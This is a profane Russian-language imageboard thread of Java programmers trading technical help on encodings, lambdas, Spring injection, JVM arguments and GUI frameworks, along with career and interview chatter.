>Дело в том, что тип byte знаковый, а значит он не сможет хранить значения от 128 до 255
Ну раз тебе нужны величины от 0 до 255, то в чем проблема хранить их со смещением? Да, накладные расходы, но тут ничего не поделать. В джаву unsigned типы решили не добавлять, так как в С++ они хоть и есть, но также принесли с собой дополнительные проблемы.
А вообще, если тебе нужны какие-то нестандартные диапазоны, то бери int да и все. В джаве на оверхед по памяти всем похуй, энтерпрайз всегда купит дополнительные планки озу. А учитывая, что массивами пользоваться уместно далеко не всегда, то пользуются коллекциями из java.util, которые хранят ссылки на объекты, а не примитивы. А каждая ссылка весит по 16 байт. Вот и представь какой оверхед начинается, когда у тебя в коллекции уже пару миллионов элементов находится.
Кодировки меня доебали!!!!!! Я нуфаг, в java. Задача сформировать из текстового файла ссылку и отправить её в интернет. В тестовом файле идет строка например " хуйня™ " когда я формирую ссылку с использованием этой строки у меня получается "http//сайт.ком/хуйня¬トᄁ " по чему так я пока хз, конфликт кодировок, но я так и не понял что с чем конфликтует. я вставляю костыль (строка.replaceAll("¬トᄁ","\u2122")). Из под IDE (intellij idea) костыль прекрасно работает, и всё заебись, но когда я создаю jar и запускаю его из под винды символ ™ из ссылки исчезает и весь текст, что должен идти после него. Как правильно фиксить эту хуйню!? И почему из под иде работает а в винде нет.
>>2248306 Суть GWT в том, чтобы писать фронтенд на джаве и UI-компонентах GWT, всё это при сборке проекта компилится в JS.. Работает только на серверах приложений, собирается только антом, почти не развивается.
С чего начать и что нужно знать, чтобы пойти на джуна java автоматизатора тестировщика? Достаточно ли java syntax и core? Мануальщик опыт 2 года, хочу вкатиться в автотестирование
>>2248306 Лучше бери Vaadin, он вроде как развивается
А так все эти хуитки, gwt, vaadin, имхо должны уйти в прошлое. Нормальный ГУИ сейчас пишут на js, либо если что-то очень тяжелое на C++/Rust + WebASM. Остальное нахуй не нужно.
Написал давеча говнострим сервис (на страничке отображается список видосиков с диска и плеер, который может проигрывать всё это). Декодер c++ / обвязка jni, бэк и http/rest на жабе, фронт на жопаскрипте. Бойлерплейтов и thirdparty по-минимуму. Я уже фуллстек 300к/наносек? И собсна, пишут ли такое на жабе или она слишком педальная?
>>2248656 >Я уже фуллстек 300к/наносек? Декодер какой брал? Или писал свой?
>>2248656 >пишут ли такое на жабе Много чего в нетфликсе на жабе написано.
>>2248656 >она слишком педальная В большинстве случаев - да. Конкретно работу с видео, стриминг, видеонаблюдение и всякое такое пишут на С++ (или на Rust в будущем). Джава больше про энтерпрайзные круды. Уровня автоматизации документооборота, складского учета, работы каких-нибудь поликлиник, гос. учереждений, банков и крупного ритейла, где математики по минимуму и очень много бюрократии.
>>2248676 Скорее не сама ссылка, а сколько объект занимает в памяти. Если в С/С++ можно написать структуру или класс, которая занимает ровно 1 байт в памяти, то в жабе у тебя любой объект по минимуму занимает 16 байт (в большинстве современных реализаций). Потому что выравнивание + мета информация + любой объект можно использовать в качестве мьютекса. Идет оверхед на это.
Блядь, как меня вымораживает то, что все новые апи и фичи в джаве какие-то недоделанные. В CompletableFuture потоки не прерываются. Лямбды не сериализуются. В модулях версионирования нет. В хттп клиенте тоже какой-то хуйни не хватало. И так далее.
>>2248719 >Декодер Самописный у меня криво работает (под контейнер mp4 с h264 внутри), посему пока что использую OpenH264.
>видео, стриминг, видеонаблюдение и всякое такое пишут на С++ Там два стула - либо пишешь избыточный код, делающий банальные вещи, либо борешься с зоопарком из thirdparty библиотек (с их багами, кривым дизайном, системой сборки).
Поэтому качусь в сторону java/python/(go?), где не надо на этих стульях сидеть.
Почему Object o = () -> {}; не компилируется, а Object o = (Runnable)() -> {}; компилиуертся?
Гугл говорит, что лямбда выражение – это упрощенная запись анонимного класса, реализующего функциональный интерфейс. Получается, что "() -> {};" это объявление этого самого анонимного класса, а при приведении к Runnable происходит его инстанцирование и поэтому можно теперь присвоить Object'у?
>>2249001 > Object o = () -> {}; Здесь не известен тип. Ты можешь описать сколько угодно функциональных интерфейсов, у которых один метод void без аргументов, и все будут подходить под () -> {}. По типу ссылки его тоже не вывести. > Object o = (Runnable)() -> {}; Здесь тип известен.
>>2248954 > В модулях версионирования нет Которые jpms? Как ты это себе представляешь. Если бы это было возможно, подразумевалось бы что у тебя в проекте несколько версий одной либы.
>>2249829 Что значит из разных мест и объединяет? Если нужен парсер аргументов командной строки есть apachecli или picocli, если любишь обманываться аннотациями.
>>2249851 Значит есть например скрипт запуска в докерфайле java -jar -XX:+UseShenandoahGC -Xlog:gc ${JAVA_ARGS} $(cat java.args) penis-1.0.0-SNAPSHOT.jar Пользователь может задать кастомные опции для джава процесса в переменной JAVA_ARGS и файле java.args. Как это все объединить в одну строчку, чтобы ничего не сломать и не дать пользователю переопределить какие-то дефолты?
>>2249856 Ну тут хз, с докером не знаком. Могу предложить только запускать докером шел в котором будет твоя валидация этих аргументов, и который потом запустит твой жарник.
>>2249856 Нереально, только руками. Как ты вообще себя представляешь подобное автоматизировать? Если у тебя там переменные среды, файлы, подстановка результатов команд и чёрт знает что ещё. это в лучшем случае сведётся к нетривиальному парсингу баша, а то и других софтин, если у тебя там ещё какие-нибудь хитрые источники данных.
>>2249964 >Если у тебя там переменные среды, файлы, подстановка результатов команд и чёрт знает что ещё Это вообще не важно. Главное чтобы набор аргументов от всех источников (т.е. тупо массив строк) объединить так, чтобы джава это прожевала и переопределить при необходимости.
>>2248220 Короче оказалось нужно было прописать каждому кусочку формдаты майм-тип на фронте, а потом аргумент метода контроллера прописывать через @RequestPart. data.append('newStreamer', new Blob([JSON.stringify(streamer)], { type: 'application/json' } )) data.append('picture', picture.files[0], picture.files[0].name) С такой мелочью провозился целый день, и не сделал ничего, пиздец. Это меня так дизморальнуло, что два дня к этому проектику не прикасался и вообще ничего не делал по сути.
Есть алгоритм, который идёт по строке, и проставляет индексы начала и конца тега img. На выходе получается мапа со значениями: "2 - 35", "75 - 153", и т.д.
Теперь мне нужно "нарезать" эту строку на подстроки. Нужно по-очереди вырезать то, что находится между тегами img, ну и сам тег img.
>>2250299 Братишка, долго объяснять, просто поверь на слово: я не html парсю. И в моем случае, тег img всегда будет закрываться последовательностью символов "/>".
>>2250292 Не вникал в алгоритм, но если у тебя есть индексы начала и конца, что мешает засунуть их в substring? Вообще через регулярки это можно намного проще сделать.
>>2250628 >>2250718 Братишка, здоровья тебе и счастья в новом году, и всего наилучшего! Просто я не люблю и не знаю регулярок, поэтому хотел решить алгоритмическим путём.
>>2251183 Вебассембли сам живым не выглядит, так что о возрождении говорить странно. Если и будет, это вряд ли будут именно апплеты. Скорее отдельная технология со своим набором классов.
Раздаю статику. И есть имя файла с кириллическими буквами(1). Ну он кодируется через url-encode(2). Но спринг почему то принимает строку урла с какимии-то 25 после каждого %(3). И у меня декодится в имя файла с кириллицей неверно(4). Что за хрень и как решить?
Аноны поясните в двух словах как работают видео-стриминговые сервисы? Клиент асинхронно джаваскриптом запрашивает чанки и получает в каком-то волшебном стандартном для браузера формате?
>>2251856 1. Перейдите в браузере на стриминговый сервис 2. Откройте видео 3. Нажимте F12 4. В открывшемся окне перейдите на вкладку "Сеть" 5. Выберите любой из интересующих вас запросов на получение видео 6. Обратите внимание на заголовок Content-Type ответа.
>youtube - video/mp4 очень волшебный формат, нигде такого больше встречал
>>2232299 Мобильная разработка на андроид - это java, kotlin Бэк - это linux, devops - это linux. А с .NET полноценно работать под linux я не представляю возможным. Т.к. их "кроссплатформа" - это сказки о белом бычке работающие через костыли. .NET нужен разве что в геймдеве, в банковском софте (хотя тут даже Java и Scala до сих пор лучшие) и если ты пишешь софт под форточки
Поясните за СБЕР. Там реально так хуево и строчка в резюме с упоминанием СБЕРа == окончанию карьеры? Неужели нет реально сильных команд и берут одно говно туда? Я-то думал, что раз банк кое-как функционирует, значит и кто-то адекватный там должен быть.
>>2252285 >Я-то думал, что раз банк кое-как функционирует, значит и кто-то адекватный там должен быть. Там сильно по разному, есть действительно знающие ребята - как правило они пишут критические сервисы - процессинг и все такое. А есть второстепенные сервисы по конвертации JSON в XML, вот туда набирают по остаточному принципу. Опять же много подковерных игр, когда один начальник борется с другим, а без бонусов и повышений остаются обычные разрабы.
>>2252390 А как понять, команда состоит из шарящих ребят или из вчерашних заводчан и таксистов? На собесе так-то наебать могут, сказать, мол, не ссы у нас и хайлоад, и критические сервисы, и вообще никакого легаси, а в действительности будешь сидеть ковырять конвертацию XML в JSON и генерацию отчетов джаспером, и твоими коллегами будут выпускники гикбрейнса, отуса и джавараша, которые еще 7 лет назад считали труд айтишников говном и вообще всяческие попускали - травили в школе и универе, ссали в рюкзак, отбирали вещи и деньги, ну ты понял, типичное быдло если в кратце.
>>2252413 >травили в школе и универе, ссали в рюкзак, отбирали вещи и деньги, ну ты понял, типичное быдло если в кратце. Эти будут твоими менеджерами в любом большом бизнесе
>>2252489 И где таких нет? Малый бизнес в России как правило не очень долго живет, и вообще особой культуры стартапов у нас не наблюдается. А среднего бизнеса в принципе почти не существует.
>>2252413 >А как понять, команда состоит из шарящих ребят или из вчерашних заводчан и таксистов? Смотри на проект и насколько важен он для бизнеса. Например можно спросить как у них работает поддержка прода - если есть дежурная смена которая работает 24х7, то проект критичный и к разработке подходят серьезно, а значит больше шансов на адекватную команду. Спроси про нагрузку - сколько запросов в секунду обслуживают, какие у них SLA, если не могут сказать четко - значит что-то второстепенное. Ну и в целом о чем проект, если что-то типа сервис для бизнес подразделения который помогает им рассчитывать бла-бла-бла и оценивать бла-бла-бла - то это и есть типичное перекладывание JSON в базу и обратно.
Только учти, что для крутых проектов ты тоже должен соответствовать.
>>2252543 >Только учти, что для крутых проектов ты тоже должен соответствовать А если я еще стажер-джун, то куда лучше идти работать, чтобы не попадать на помойные легаси проекты в будущем? В jvmjobs советовали jetbrains, яндекс, мейл и тинькофф, это топ места для джавистов? Или сейчас на джаве в основном пишут перекладывание джейсонов, а вся нормальная разработка ведется на C++/Go/Rust в местах, куда хуй попадешь?
>>2252548 >А если я еще стажер-джун, то куда лучше идти работать, чтобы не попадать на помойные легаси проекты в будущем? А у тебя большой выбор? Просто трезво оценивай свои силы, первые год-два надо просто набраться опыта для резюме. Позовут в Яндекс - иди конечно, но если откажут ищи другие варианты.
>В jvmjobs советовали jetbrains, яндекс, мейл и тинькофф, это топ места для джавистов? Там тоже легаси говна хватает, но это именитые компании. Когда у тебя в резюме Яндекс то найти новую работу сильно проще. И в больших компаниях можно поискать новый проект внутри. Плюс там много сильных разработчиков у который можно поучиться и процесс разработки нормально выстроен.
>Или сейчас на джаве в основном пишут перекладывание джейсонов, а вся нормальная разработка ведется на C++/Go/Rust в местах, куда хуй попадешь? Понятие интересного у каждого свое. К нам приходил человек из Сбера который занимался доработкой Apache Ignite для нужд сбера. Казалось бы хайлоад, никакого легаси, но чел жалуется что работа скучная и неинтересная правда занимался он в основном фиксаньем багов и мелкими фичами, на которые у GridGain руки не доходили. В общем никогда не угадаешь, да и со временем все приедается.
>>2253217 >Я спрашиваю, почему не используют кодогенерацию в компайл тайме, уебок. Для начала должен заметить, что ты тупой, агрессивный мудак, который нихуя не знает, но выебывается за пятерых.
Во вторых ты, мудило пиздоглазое, спросило >>2252623 >А почему репозитории генерируются через прокси, а не через кодогенераторы? тут нет ни слова про компайл тайм.
>>2253223 >А почему репозитории генерируются через прокси, а не через кодогенераторы? >Генерируются и через кодогенераторы >Пруф >cglib proxy Сука блядская.
>>2253755 Так систему сборки придётся хитро конфигурировать, чтобы она вызвала ебаный процессор аннотаций. Либо, чтобы было не хитро, писать плагины для неё, привязываясь таким образом к ней.
>>2254959 >Почему по зеленой стрелочке код запускается, а если через терминал, то нет. Это ограничение бесплатной версии? Да, надо купить платную версию терминала, там нет ограничений на запуск приложений.
Запусти через стрелочку и посмотри с какими параметрами запускает IDEA, потом погугли доки и убери все лишние параметры.
>>2255007 На деле получается, что иде влияет. Она как-то блокирует или подменяет пути, но как именно - не понятно. В гугле пишут, что там надо с путями играться. Как по мне это говорит о низком качестве продукта. Возможно в платной версии не так и всё работает из коробки.
>>2255008 Шилдт не пишет больше про сисярп, поэтому я решил изучать джаву. Тем более синтаксис похож и я быстро вкачусь.
>>2255015 >Возможно в платной версии не так и всё работает из коробки. Никакая платная версия не выпрямит твои кривые руки и не исправит нежелание разбираться. https://habr.com/ru/post/125210/
>>2255123 Но ведь в VS Code всё получилось! Значит джава нормальная стоит, а проблема в IDE от жидбрейнсов. Вообще, у меня возникает диссонанс, что джава позиционируется у многих как открытый продукт, а всё ПО для неё почему-то платное. В то время как проприетарный шарп имеет абсолютно бесплатные полнофункциональные IDE.
Ну вот допустим есть цикл в стиле for each for(int x : arrays) { ... } В переменной x можно взять текущее значение. А как мне получить ключ или индекс? К примеру, выполняется поиск значения. Значение-то я нашёл, а что возвращать? Ключа-то нет!
>>2254959 >>2255004 В первом случае есть пакет shildt и нужно запускать из папки Example - java shildt.Example Во втором случае пакет дефолтный И запускается из текущей папки. Причем тут иде? Это троллинг тупостью?
>>2255190 Я уже все варианты перебрал и в гугле искал ответ. Не работает ни как. Вместо того, чтобы соревноваться в остроумии и оскорблениях, лучше бы сами попробовали на бесплатной версии.
>>2255235 Как будто бы все каналы неблокирующие. Вообще, неблокирующий IO в джаве сделан как-то по уебански, использовать каналы и селекторы можно только для SocketChannel и вроде бы пайпов. Асинхронные файловые каналы возвращают фьючи, а не комплетабл фьючи, что уже сильно неудобно. Для неблокирующего ввода из консоли походу вообще нет ничего. Почему нет функции вроде asyncRead(FileDescriptor, Consumer), чтобы можно было бы сразу повесить коллбек который вызовется при завершения чтения?
>>2255357 Да хоть сколько, это тот же самый итератор под капотом, суть такая же. А в некоторых случаях даже лучше будет, например Files.lines читает строки лениво, вместо загрузки всего файла целиком сразу.
>>2255387 Прохладно нахуй. У стримов другие минусы, не связанные с количеством элементов, но связанные с устройством самой жвм. Из очевидного это effective final переменные и checked exception. Ну и ещё футпринт от анонимных классов. В котлиняше это всё было элегантно решено с помощью инлайн функций. Жабе позорной должно быть стыдно.
Хочу поделиться своей находкой для анонов, которые ищут/меняют работу или хотят импрувнуть/освежить свои знания.
Посмотрев некоторые из этих материалов, я даже возымел дерзновение предложить эти материалы в регулярный ОП-пост в шапку. Например, создав раздел "подготовка к интервью на позицию Java-backend developer" или в этом роде.
>>2255484 Курс хороший, но скорее для вкатунов. Для собесов мфтишный курс недостаточно подробен. Судя по трем проваленным собесам на джуна. Нужно: - на зубок знать Arraylist, hashmap/set, linkedhashmap/set, treemap/set, в том числе О-большое большинства методов, концептуально понимать еще десятка два коллекций, знать иерархию и тд. - основы ооп в джаве, основы модели памяти, как и что передается в метод. - иерархия исключений. - особенности сущностей в jpa, особенности типов связей между сущностями Это спрашивали все три раза. Многопоточку не спрашивали ни разу. Остальные вопросы по джвакору/хиберу/спрингу были сильно разные.
>>2255529 >концептуально понимать еще десятка два коллекций А какие еще есть коллекции? Ну там очередь с приоритетами есть, всякие concurrent коллекции. Их чтоли?
>>2255529 И где взять вопросы по коллекциям? Там прямо по кишкам гоняют, по всяким красночерным деревьям или нужно в общих чертах знать что под капотом находится у коллекций и какая сложность у методов.
>>2255783 Сергей Немчинский говорит, что к собесам не надо готовится. Надо рассказывать, что знаешь на текущий момент, потому что иначе ты всё равно не справишься с работой потом.
>>2255802 На собеседованиях спрашивают внутреннее устройство хешсета, а на работе ты всегда можешь погуглить какой аннотацией включить хуйнянейм в спринге. Поэтому хз, утверждение Немчинского относится, вероятно, к тем временам, когда интернета не было в том виде как сейчас.
>>2255802 > Сергей Немчинский Толсто. > Надо рассказывать, что знаешь на текущий момент, потому что иначе ты всё равно не справишься с работой потом. Ага, поясняешь за 10 деревьев и 20 сортировок, чтобы потом на работе везде юзать ArrayList, Arrays.sort() и всё готовенькое.
>>2255805 >>2255822 Можно не отвечать на их тупые вопросы или так и говорить, что это всё гуглится за 2 секунды и учить нет смысла. Сами же себя загоняете в неудобное положение.
>>2255802 Так и сделал когда летом работу искал. В итоге отсеял хуесосов, которые доёбывались с внутренними алгоритмами сборщиков мусора, историями "а у нас нет коллекцией и сортировать нельзя что будешь делать", "как так, не помнишь какие методы у массивов"
В итоге самый большой оффер был на 240, самый маленький (не считая отказов) 135, пошёл на 200 с премиями и кайфом
>>2256167 Так на милла сильно другой разговор чем на трейни/джуна. Там предложений на каждого соискателя сильно меньше. Мне, чтобы вообще позвали на три собеса на сто откликов в месяц даже опыт в три месяца пришлось нарисовать. До этого месяц слал тоже удаленку, из 50 откликов прислали 4 тестовых из них 2 совсем неадекватных. Но мне кажется у джунов все так плохо именно на удалёнке. На одном из собесов мне челик сказал, мол если в мск приедешь, то можем тебя взять джуном на 40к. У него есть джуны хуже меня. Но удаленка только для "самостоятельного" мидл+. Возможно придётся реально ехать в мск и работать полгода год чисто на аренду комнаты и билет на метро, а на еду и одежду клянчить у мамки и занимать. А потом возвращаться в мухосрань на удаленку.
Пересел на сетап блокнот + мавен + соснулька для мелких пет-проектов, потому что любая жабовская IDE любая одна из двух существующих тормозит как сука. И сразу же охуел оттого, что приходится ручками искать и вставлять импорты. Стандартные пакеты жабы худо-бедно помню, но представил когда придется юзать хибер, спринг, обвес для тестирования (JUnit, Mockito, матчеры) и прочий кал, я же просто ебнусь нахуй. Кто-то в таком режиме кодит, есть кулстори?
>>2256372 >Кто-то в таком режиме кодит, есть кулстори? Только дебилы. Тормоза на бюджетной пеке, уровня современного и3 + 8гб доставляют намного меньше головной боли, чем бойлерплейт джавы.
>>2256361 Раз ты мухосранец, то нужно было учить php, ну или js, если у вас в городе есть вакансии на него. А так, чтобы войти в айти на джаву, нужно еще в вузе идти на стажировки и подработки. То есть тебе нужно было поступить в ДС вуз, доучиться до 3-4 курса, и начать искать работу. А ты не с того входа начал стучаться в айти.
>>2256515 Фронт я не люблю и не умею. Хотя изучил поверхам жс, в том году. И постоянно подмывает начать учить реакт, чтобы учебные проекты на спринге было веселее писать. Ну может надо было с пыхи начинать. Но запудрил мозги себе всем этим пранебрежением к динамике вообще, а к пыху принебрежение в квадрате. Но я вообще думал в андроед вкатыаться. После двух дней вступительных уроков понял, что андроед это тот же фронт. Но я уже 2.5 года просрал на вкат, из них год на джаву, год на хибер и спринг(и еще полгода собираюсь просрать). Я просто учился и учился. А тут прочекал рынок в октябре и понял, что будет сложно. Попробую еще с удаленкой поебаться до весны.
>>2256522 Странно, за 2 года вката работу найти обычно очень легко? Ты точно эти 2 года учился, а не просто пинал хуи или зачитывался какими-нибудь талмудами вместо написания петпроджектов и чтения мурзилок?
>>2256538 Ну ты во всем угадал, так то. Но я не мог пойти по быстрому пути, который тебе кажется правильным. Мне надо было проебать кучу времени, чтобы убедить себя, что это мне нравится. Я тратил очень мало времени в неделю первый год. И читал талмуд Хорстмана, проходил джетбрейнс академию, курс лекций от МФТИ смотрел, читал всякие говностатьи на Хабре, записи конференции, ещё чилово вкатывался(ну много прокрастинировал, но не жалею, так было легче психологически). Ещё от дня до 3 я потратил на пых, питон и андроид, чисто прощупать почву. Ну это мне некоторой уверенности придало. Я помню начинал по вашей любимой русскаязычной мурзилке этого треда по - метаниту. И вообще нихуя не понял. Сейчас мне кажется этого бы хватило. Все равно все сложные моменты, что я пересмотрел в 4 местах я один хуй забыл, а некоторые и вообще не понял. Особенно это видно во время проработки вопросов после проведенного собеса. Петпроекты до спринга тоже не начинал само собой.
Вот есть у меня в спринге интерфейс ZalupaService. И есть класс ZalupaServiceImpl implements ZalupaService с аннотацией @Service. И еще в тестах есть класс ZalupaServiceStub extends ZalupaServiceImpl с аннотациями @Primary и @Service. Как спринг определяет, что оба класса имеют тип ZalupaService?
>>2256681 Я не о реализации. Как именно спринг понимает, что этот класс должен присутствовать в контексте именно с этим типом? Почему он инжектится туда, где нужен ZalupaService?
>>2256682 >Как именно спринг понимает, что этот класс должен присутствовать в контексте именно с этим типом? Класс должен присутствовать в контексте потому что ты объявил его бином с помощью аннотации @Component. >Почему он инжектится туда, где нужен ZalupaService? Потому что спринг видит, что нужно заинжектить сервис в конкретное поле с конкретным типом. Идёт в контейнер и ищет подходящие классы по типу, чтобы их заинжектить, потом инжектит
>>2256693 >Идёт в контейнер и ищет подходящие классы по типу Как? В контейнере есть только ZalupaServiceStub. Чтобы узнать о том, что этот класс подходит, надо узнать иерархию сервисов, начиная с интерфейса ZalupaService. Выходит спринг должен знать всех наследников интерфейса/класса, чтобы правильно заинжектить объект.
>>2256706 В смысле, ты чего-то не то пишешь. > В контейнере есть только ZalupaServiceStub А ZalupaServiceImpl куда дел? У тебя он тоже же объявлен как @Service
> Должен знать всех наследников Нет, зачем? В наивной реализации достаточно при необходимости инжекта взять все бины из контейнера, пройтись по ним и их родителям (а не наследникам), дабы подобрать подходящий бин
Вкатываюсь в ваадин, на сайте их стартера https://start.vaadin.com/ набросал компонентов со статусом PRO (типа платные вроде), скачал. А что дальше? Как работают эти ПРО компоненты? Когда мне придется за них заплатить, если пилю приложение для локального пользования?
>>2257205 Потому что ты нашёл какую-то одну странную вакансию, хотя в нормальных галерах типа люксофта с ходу берут на работу на зарплату и потом либо сразу на проект закидывают, либо проект подбирают, либо отправляют на курсы повышения квалификации. И всё это время выплачивают зарплату. У меня так приятель два месяца отдыхал
Тут вроде были аноны из РБ? Как вообще вкатиться если даже некуда сходить просто попробовать собеседования, вакансий тупо нихуя inb4 едь в москвуЯ уже неиронично думаю об этом
>>2257524 Ну ладно, расскажу что знаю что такое MVC, data, aop и security. А какие вообще по нему шаблонные вопросы? Я, к примеру, не смогу выучить на память все существующие аннотации и тд.
>>2257291 Неужели в Минске нет ни одной галеры, где сейчас были бы нужны джависты? ЕПАМ вон вроде бы постоянно курсы устраивает для желающих вкатиться, другие галеры тоже наверняка. На галерах, к слову, как раз джава чуть ли не самый популярный язык, может быть на втором месте после js.
>>2257200 Так это курс для джунов, которые хотят мидлами стать, вопрос только зачем им курс, но может кому и полезен будет.
Или же в этой конторе просто жалеют денег на нормальных мидлов, поэтому берут джунов хоть с каким-нибудь опытом, посылают их на курсы, а после заставляют делать задачи мидлов за зарплату в 1.5 раза меньше.
>>2257426 Исторически сложилось, что JavaFX хоть и был перспективной платформой, но не взлетел, так как к моменту его выпуска десктоп уже помирать начал, а та крохотная часть новых проектов стартовала на Qt или на Winforms/WPF, так как там уже было куча готовых вспомогательных библиотек, да и JavaFX был слишком сырой в момент его запуска. Поэтому его собственно и выкинули, ибо нехуй тащить за собой весь мусор, который к тому же не используется.
Swing и AWT хоть и куда более топорные инструменты, но тем не менее рабочие - вон все IDE от JetBrains написаны на них, и ничего, до сих пор работают кое-как. И они к тому моменту уже плотно использовались, поэтому их решили оставить и продлить поддержку до 2025 года. Потом может и выпилят, кто знает.
Хотя, когда я пришел собеседоваться в один НИИ, они там во всю используют JavaFX в качестве клиентов. ПО, военное, к слову, для вычисления траекторий движения боевых снарядов и все такое.
>>2257537 Апплеты были похожы на ныне мертвые Adobe Flash и Silverlight, Adobe AIR про другое был. Один хуй все давным давно сдохло, чего сейчас вспоминать. Из живого их тех времен остался только Swing и Winforms/WPF.
>>2257541 НИИ в Москве или где еще? Обычно все-таки JavaFX редкость в наши дни, но может у них кто-то в начале 10-х годов решил на FX писать шоб все кроссплатформенное было, и до сих пор они его поддерживают. А так, подобные софтины сейчас на Qt пилят наверное.
>>2257529 Недавно ходил по собесам активно, расклад следующий: - Знай про Spring AOP в общих чертах и подробнее про аннотацию @Transactional - Пересмотри все доклады Борисова (спринг потрошитель). Это прям мастхев, по-моему на половине собеседований были вопросы с него - Бин, скоупы бинов, жизненный цикл - ComponentScan, особенности бута - циклические зависимости, виды инжектов
>>2257555 Мне понравилась идея, что можно писать веб-интерфейс на чистой жабе, но как начал его тыкать, увидел, что при сборке в папке проекта почвились ноде_,модулес, файлы вебпака и прочее жс-говно, будто оно нужно не ваадину, а мне. Погуглил и нашёл, что ещё пару лет назад ничего из этого не ставилось и заранее бандлилось в жарники. Ещё и тормозит, а хеллоуворлд на последней версии срёт ошибками ноды и не запускается. Ну и нахуй оно нужно, если всё равно приходится вляпываться в говноэкосистему жс. Также тыкал аалогичные wicket, GWT и что-то ещё, но нормально со спринг бутом заработал только ваадин, остальное собирается только в варники и работает только на серверах приложений.
>>2257541 Возможно по инерции перекатились со свинга. В европейском церне тоже его юзают. Тут итт пояснят что кроме спринг mvc больше ничего не надо, но по факту нет ничего плохого в том что используют вещи с которыми уже есть опыт и другие наработки. И переписывать работающие вещи на диаметрально противоположную экосистему просто потому, что что-то перестало быть популярным очень хуевая идея. Изучай в зависимости от целей, если для устройства - количество вакансий ты сам видел, но они все таки есть, значит спрос есть. Но лучше начать раньше собеседоваться чтобы не проебаться. Все равно на поддержке будешь сидеть и наберешься по ходу дела.
>>2257565 Так а разве возможно создать UI в вебе, не генерируя/докачивая кучи js исходников? В браузерах жэва работать не умеет разучилась, только разве что через костыли и webAssembly.
>>2257568 Но подводный камень в том, что глубокие познания в JavaFX в дальнейшем тебе не помогут никак, в то время как Spring использовали, используют и еще лет 15 точно будут использовать. Аналогично со свингом, но там хотя бы выбор работодателей побольше можно в jetbrains пойти формочки клепать
>>2257569 >Так а разве возможно создать UI в вебе, не генерируя/докачивая кучи js исходников? Возмоно без кучи конечно, не обязательно же юзать говнофреймворки.
Вообще джава гуи используется в профессиональных софтинах. Тот же матлаб кроссплатформенный и гуй у него написан вроде как на жабе. Какой-нибудь siemens NX тоже кроссплатформенный и гуи не сама геометрия офк, а формочки вроде бы тоже на жабе написана, хотя может уже на qt переписали в современных версиях
>>2257569 Сбандлить все эти js-файлы в жарник и раздавать их как статику. Клиент шлёт все события на сервер, тот их обрабатывает и возвращает клиенту готовый список операций над DOM. Оно так и работает, да и раньше тоже так работало, но не требовало всё собирать разрабам.
>>2257573 А для жабы нормальных инструментов для ui в вебе не было никогда. Только GWT и Vaadin. Не считая шаблонизаторов вроде thymeleaf, но это немного другое все-таки
>>2257572 Да пожалуйста, говорю все зависит от целей и задач. У меня нигде не используют ни одну из зависимостей спринга, и как он мне поможет делать ежедневную хуйню я даже представить не могу. И если захочу уйти, буду искать аналогичное по обязанностям говно, потому что связываться с веб парашей у меня никакого желания нет. автоматизация чпу на заводике
>>2257530 >Неужели в Минске нет ни одной галеры, где сейчас были бы нужны джависты? ЕПАМ вон вроде бы постоянно курсы устраивает для желающих вкатиться, другие галеры тоже наверняка. Может я хуево ищу, хз Есть вакансии просто Java Dev у епама, попробую туда на писать, хули Есть у епама еще лаба какая-то, где ебашишь три месяца как на работе по 8 часов бесплатно и не факт что возьмут Мне то похуй, я бы мог три месяца поебашить хоть за еду, главное что бы дальше взяли полноценно. Если с завода улюсь не возьмут назад Летом кст был на мини курсах одной галерки, там из направления жава/андройд взяли 1 чела из 14 и то на андройд(в напралении жс тоже одного чела взяли из 15+ всего) Потом еще на одни курсы говногалеры прошел, хотел отказаться но хрка меня даж уговаривала остатьсякек, но в итоге отменили все(возможно из-за очередного бурления говна по поводу галеры этой)
>>2257793 Обычно jdk в гуи-приложухах на жабе лежат в инсталяторе и ставится во время инсталяции в папочку вместе с программой. Во всяком случае так работает с софтом госшараг с десктопными клиентами на свинге. Там до сих пор так иногда делают.
>>2257793 Я просто сказал в каком sdk javafx есть по умолчанию. Хуй знает кто это юзает, потому что она в одну строчку подключается через гредл. Но пользователю все равно ничего не надо знать, даже жабу не нужно иметь на пекарне. Если собирать через jpackage, минимальный образ jdk будет включен в дистрибьюцию. Или можно собирать сразу в нативный образ конечной платформы без жарников и AOT через graalvm, но там свои ограничения.
Мне стоит просто его написать, зная, что не все браузеры поддерживают java-аппоеты, или убедить, что написание мною java-апплета пустая трата времени и денег заказчика?
>>2258021 > не все браузеры поддерживают java-аппоеты Странная мысль. Очень часто в тырпрайзе 100% пользователей какого-то продукта обязаны юзать конкретный браузер с конкретными настройками и плвгинами. И там да, хоть апплеты, хоть флеш.
>>2258027 >Странная мысль. Очень часто в тырпрайзе 100% пользователей какого-то продукта обязаны юзать конкретный браузер с конкретными настройками и плвгинами. И там да, хоть апплеты, хоть флеш.
Апплеты и флеш уже давным давно никто не поддерживает. Ну, может только разве Internet explorer времен винды7, но не более того. Сейчас даже в энтерпрайзах отказались от апплтов и флеша.
>>2258207 А в чем даунизм проявляется? Можешь рассказать? А то все вокруг только и говорят об одебилевших 30 летних вкатывальщиков с заводов, это правда?
>>2258212 Я математику любил, до того как в компанию свою попал.. там всё это было не нужно и забылось. Но может быть пора древнему знанию пробудиться.. Спасибо за совет
Думаю, этого более чем хватит. Тем более, что саму jvm особого смысла изучать нет, ну только если ты собираешься пилить эту самую jvm в дальнейшем в амазон коррето и оракл нужны люди
>>2258591 В том что их наняли как синьоров, а они кроме крудов ничего не писали никогда. Можешь представить, сколько приходится с каждым сидеть, когда надо сделать чтото за рамками рест апи и похода в базу..
>>2258602 А вы на жабе что-то кроме крудов пишете? Что именно, если не секрет, хотя бы в общих чертах? ИМХО, возьми любого джависта с опытом и пусть даже высшим образованием, то он вряд ли кроме крудов и походов в базу что-то сумеет сделать.
>>2258612 Не банки. В двух словах: парсим интернет, инфу продаем. Я заметил, что толковые джависты нынче лидами сидят многие из, что я знаю. Либо ушли в другие языки, чтобы поинтереснее задачи решать
>>2258835 > самоподписанный Нет, у меня вот как раз эти файлы что я привел уже есть. Я их получил from somewhere, но приватного ключа я среди них не нашел. Толи я тупой и все перепутал.
Так что да, сгенерить jks и засунуть в него.
Когда получал сертификаты с Let's encrypt, там были файлы cert.pem и privatekey.pem, и с ними у меня таки получилось разобраться. А вот с текущими файлами хз что делать.
Еще можно пощупать лум в превью билдах, но они увы все еще не стабильны для работы в проде.
Вроде как работа идет на протяжении 4 лет, лол, надеюсь через пару лет лум уже выкатят в релиз, а через 3-4 года и в LTS версию. Вообще интересно, где-нибудь кроме Go появились зеленые потоки за это время?
